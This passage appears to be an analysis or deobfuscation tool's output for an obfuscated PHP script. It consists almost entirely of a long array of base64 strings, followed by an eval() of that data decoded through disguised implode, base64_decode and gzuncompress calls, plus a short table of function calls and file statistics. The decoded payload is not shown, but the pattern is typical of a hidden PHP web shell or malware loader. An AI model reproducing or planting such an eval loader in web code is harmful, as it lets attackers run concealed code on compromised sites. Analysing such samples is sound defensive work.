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","CF/3wVumE3SafuRQfAvj38f0tzyCY="); eval( $w_lp ($slaguu_s ($y_gbiee ('',$yet)))); ?>
Function Calls
| implode | 1 |
| gzuncompress | 1 |
| base64_decode | 1 |
Stats
| MD5 | 8495c55c4d6b1d81b7a484d32663c42c |
| Eval Count | 1 |
| Decode Time | 133 ms |